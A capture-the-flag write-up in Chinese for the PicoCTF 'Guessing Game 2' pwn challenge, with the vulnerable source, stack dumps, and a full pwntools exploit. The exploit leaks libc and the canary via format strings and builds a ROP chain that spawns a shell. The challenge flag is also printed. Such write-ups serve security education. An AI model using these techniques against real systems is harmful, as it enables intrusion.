# PicoCTF - Guessing Game 2 ## Background fmt / leak libc / ret2libc / leak canary ## Source code :::spoiler Source Code ```cpp= #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/types.h> #include <sys/stat.h> #define BUFSIZE 512 long get_random() { return rand; } int get_version() { return 2; } // void print(long n) // { // // If number is smaller than 0, put a - sign // // and change number to positive // if (n < 0) { // putchar('-'); // n = -n; // } // // Remove the last digit and recur // if (n/10) // print(n/10); // // Print the last digit // putchar(n%10 + '0'); // } int do_stuff() { long ans = (get_random() % 4096) + 1; // print(ans); int res = 0; printf("What number would you like to guess?\n"); char guess[BUFSIZE]; fgets(guess, BUFSIZE, stdin); long g = atol(guess); if (!g) { printf("That's not a valid number!\n"); } else { if (g == ans) { printf("Congrats! You win! Your prize is this print statement!\n\n"); res = 1; } else { printf("Nope!\n\n"); } } return res; } void win() { char winner[BUFSIZE]; printf("New winner!\nName? "); gets(winner); printf("Congrats: "); printf(winner); printf("\n\n"); } int main(int argc, char **argv){ setvbuf(stdout, NULL, _IONBF, 0); // Set the gid to the effective gid // this prevents /bin/sh from dropping the privileges gid_t gid = getegid(); setresgid(gid, gid, gid); int res; printf("Welcome to my guessing game!\n"); printf("Version: %x\n\n", get_version()); while (1) { res = do_stuff(); if (res) { win(); } } return 0; } ``` ::: ## Recon 寫這一題的時候切記不要隨便因為`Error /lib/x86_64-linux-gnu/libc.so.6: version 'GLIBC_2.34' not found`的錯誤訊息而更新glibc,也就是下`sudo apt install libc6`這個command,經過實測是因為他給的elf執行檔有點問題,只要重新make就好,不然在用gdb trace code的時候,就會GG ```bash! $ sudo apt install -y make $ sudo apt-get install gcc -y $ sudo apt-get install libc6-i386 -y $ sudo apt-get install gcc-multilib -y ``` ```bash! $ file vuln vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=69d83a7733e45de8e38431f09ee2cdb1b11b719e, for GNU/Linux 3.2.0, not stripped $ checksec vuln [*] '/mnt/d/NTU/CTF/PicoCTF/PWN/Guessing Game 2/vuln' Arch: i386-32-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000) ``` 1. **Brute Force Server Secret Number** 看了source code可以發現他和上一題幾乎一樣,上一題是要猜1-100的數字,而他會有固定的模式出現,所以可以直接用gdb跟他到底是哪些數字,但這一題的範圍明顯大很多(1-4096),此時就要講到和上一題不一樣的地方,也就是第十行的==get_random== function中return的value是rand,他return的東西應該是一個固定的object而非經過運算的function(也就是==rand()==),所以只要他沒有把靶機重開,運算的結果都會是一樣的,此時我們可以寫一個brute force script去try他用哪一個數字,以我的例子來說server的數字是`-3727`,而如果想知道local side的數字是多少,可以直接把原本的source code註解的部分拔掉,再make就會自己告訴你了 2. **Leak libc version** 接著就是開始try rop,可以看到61行有個明顯的bof,但我們應該先想辦法leak libc version,因為如果直接用vuln執行檔找ROP會少的可憐,所以要用libc,但是libc最後找的東西不見得會和他的版本一樣,這也是為甚麼不能更新glibc的原因,在stack中的相對位置不會一樣,會找的很痛苦而且做白工,leak libc的方法這邊是用fmt,雖然應該只有這個方法(在63行),在print之前可以看一下stack的狀況,很明顯$esp+0x24c的地方出現`__libc_start_main`,利用[online database searching tool](https://libc.blukat.me/)可以知道server用甚麼版本 ```bash 0xffffc98c│+0x022c: 0x080495bb → <main+145> jmp 0x80495a8 <main+126> 0xffffc990│+0x0230: 0x00000001 0xffffc994│+0x0234: 0xffffca54 → 0xffffcc27 0xffffc998│+0x0238: 0x000003e8 0xffffc99c│+0x023c: 0x00000001 0xffffc9a0│+0x0240: 0xffffc9c0 → 0x00000001 0xffffc9a4│+0x0244: 0x00000000 0xffffc9a8│+0x0248: 0x00000000 0xffffc9ac│+0x024c: 0xf7deded5 → <__libc_start_main+245> add esp, 0x10 0xffffc9b0│+0x0250: 0xf7fbb000 → 0x001e7d6c 0xffffc9b4│+0x0254: 0xf7fbb000 → 0x001e7d6c ``` ![](https://hackmd.io/_uploads/SyZ2l94n3.png) 而libc base address就是`0xf7d34fa1-0x018fa1=0xf7d1c000` :::info Note: 在x86版本中,fmt的顯示順序是從\$esp的地方開始,所以`__libc_start_main`就是在\$esp往後數==第147個位數== ::: 3. **Change Execute Environment** 此時我們知道libc的版本是2.27,那就代表應該是18.04的版本,如果不想要費事裝VM或wsl就可以直接用@ccccc提供的腳本,讓這支程式跑在和server一樣的環境,==所以要把對應環境的loader和libc載下來==,用法如下: ```bash $ python {script path} {new env loader path} {original elf file} # e.g. python ./LD_PRELOAD.py ./ld-2.27.so ./vuln ``` 他會產生一個新的執行檔,名字是`V`,在pwntools寫的腳本也要改,用法如下 ```python r = process('./V',env={"LD_PRELOAD" : "./libc-2.27.so"}) ``` 此時我們跑的結果就換會和server端一樣 ```python from pwn import * if args.REMOTE: r = remote("jupiter.challenges.picoctf.org", 18263) ans = -3727 elif args.LOCAL: r = process("./V", env={"LD_PRELOAD" : "./libc-2.27.so"}) # r = process('./vuln') # ans = -3615 ans = -3727 '''############# Find Libc address by stack info #############''' r.recvuntil(b'What number would you like to guess?\n') r.sendline(str(ans).encode()) r.recvuntil(b'Name? ') r.sendline(b"%147$p") r.recvuntil(b"Congrats: 0x") __libc_start_main = int(r.recvuntil(b"\n").strip().decode(), 16) libc_addr = __libc_start_main - 0x018fa1 libc_system_addr = libc_addr + 0x03cf10 success(f"libc base address = {hex(libc_addr)}") success(f"libc system address = {hex(libc_system_addr)}") raw_input() ``` ```bash $ python exp.py LOCAL [+] Starting local process './vuln': pid 9451 [+] libc base address = 0xf7dce000 [+] libc system address = 0xf7e0af10 $ python exp.py REMOTE [+] Opening connection to jupiter.challenges.picoctf.org on port 18263: Done [+] libc base address = 0xf7d99000 [+] libc system address = 0xf7dd5f10 ``` 4. **找canary** 這一題因為有開canary又要觸發rop所以勢必會蓋到,可以先把相對位置記起來,也就是$esp+0x021c ```bash 0xffffc978│+0x0218: 0xf7e22d39 → <printf+9> add eax, 0x1982c7 0xffffc97c│+0x021c: 0x0c458f00 0xffffc980│+0x0220: 0x0804a0c4 → "Version: %x\n\n" 0xffffc984│+0x0224: 0x0804bfb8 → 0x0804bec0 0xffffc988│+0x0228: 0xffffc9a8 → 0x00000000 ← $ebp ``` ```bash $ python exp.py LOCAL [+] Starting local process './V': pid 11379 [+] libc base address = 0xf7d2f000 [+] libc system address = 0xf7d6bf10 [+] Canary Value = 0xd824d100 ``` 5. **寫/bin/sh\x00並開shell** 要開shell的話必須要找個地方寫`/bin/sh\x00`,但是我有想過要用system read的方式,但是找不到int 0x80 ; ret的gadget所以就直接寫在stack上最快也最方便,只是要計算執行到開shell之前的esp或ebp,所以我們可以直接沿用fmt的技巧先把ebp的address紀錄起來等到把/bin/sh寫上去之後再看offset是多少,以我的例子來說就是差了0x8的距離,可以直接用gdb跟一下就知道了 ```python r.recvuntil(b'What number would you like to guess?\n') r.sendline(str(ans).encode()) r.recvuntil(b'Name? ') r.sendline(b"%138$p") r.recvuntil(b"Congrats: ") ebp_addr = int(r.recvuntil(b"\n").strip().decode(), 16) success(f"ebp address = {hex(ebp_addr)}") # raw_input() bin_sh_1 = 0x6e69622f bin_sh_2 = 0x68732f pop_eax_ret = 0x00024d37 + libc_addr pop_ebx_ret = 0x00018d05 + libc_addr pop_ecx_ret = 0x00193aa4 + libc_addr pop_edx_ret = 0x00001aae + libc_addr int_0x80 = 0x00002d3f + libc_addr ROP_payload = flat( pop_eax_ret, 0xb, pop_ebx_ret, (ebp_addr+0x8), pop_ecx_ret, 0, pop_edx_ret, 0, int_0x80, bin_sh_1, bin_sh_2 ) r.recvuntil(b'What number would you like to guess?\n') r.sendline(str(ans).encode()) r.recvuntil(b'Name? ') r.sendline(b'a' * (0x200) + p32(canary_value) + b'a' * 0xc + ROP_payload) ``` ## Exploit - ROP gadget / leak libc / leak Canary 這一題算是綜合蠻多stack vulnerability的技巧,所以過程蠻複雜的,但只要環境對了就很順利 ```python= from pwn import * import random if args.REMOTE: r = remote("jupiter.challenges.picoctf.org", 18263) ans = -3727 elif args.LOCAL: r = process("./V", env={"LD_PRELOAD" : "./libc-2.27.so"}) # r = process('./vuln') # ans = -3615 ans = -3727 '''############# Find Libc address by stack info #############''' r.recvuntil(b'What number would you like to guess?\n') r.sendline(str(ans).encode()) r.recvuntil(b'Name? ') r.sendline(b"%147$p") r.recvuntil(b"Congrats: 0x") __libc_start_main = int(r.recvuntil(b"\n").strip().decode(), 16) libc_addr = __libc_start_main - 0x018fa1 libc_system_addr = libc_addr + 0x03cf10 success(f"libc base address = {hex(libc_addr)}") success(f"libc system address = {hex(libc_system_addr)}") # raw_input() '''############# Find Canary Value #############''' r.recvuntil(b'What number would you like to guess?\n') r.sendline(str(ans).encode()) r.recvuntil(b'Name? ') r.sendline(b"%135$p") r.recvuntil(b"Congrats: 0x") canary_value = int(r.recvuntil(b"\n").strip().decode(), 16) success(f"Canary Value = {hex(canary_value)}") # raw_input() '''############# Get Shell #############''' r.recvuntil(b'What number would you like to guess?\n') r.sendline(str(ans).encode()) r.recvuntil(b'Name? ') r.sendline(b"%138$p") r.recvuntil(b"Congrats: ") ebp_addr = int(r.recvuntil(b"\n").strip().decode(), 16) success(f"ebp address = {hex(ebp_addr)}") # raw_input() bin_sh_1 = 0x6e69622f bin_sh_2 = 0x68732f pop_eax_ret = 0x00024d37 + libc_addr pop_ebx_ret = 0x00018d05 + libc_addr pop_ecx_ret = 0x00193aa4 + libc_addr pop_edx_ret = 0x00001aae + libc_addr int_0x80 = 0x00002d3f + libc_addr ROP_payload = flat( pop_eax_ret, 0xb, pop_ebx_ret, (ebp_addr+0x8), pop_ecx_ret, 0, pop_edx_ret, 0, int_0x80, bin_sh_1, bin_sh_2 ) r.recvuntil(b'What number would you like to guess?\n') r.sendline(str(ans).encode()) r.recvuntil(b'Name? ') r.sendline(b'a' * (0x200) + p32(canary_value) + b'a' * 0xc + ROP_payload) # raw_input() r.interactive() ``` Flag: `picoCTF{p0p_r0p_4nd_dr0p_1t_73d8dcc827619318}` ## Reference [PicoCTF — Guessing Game 2 Walkthrough | ret2libc, stack cookies](https://captain-woof.medium.com/picoctf-guessing-game-2-walkthrough-ret2libc-stack-cookies-6f9fc39273bf)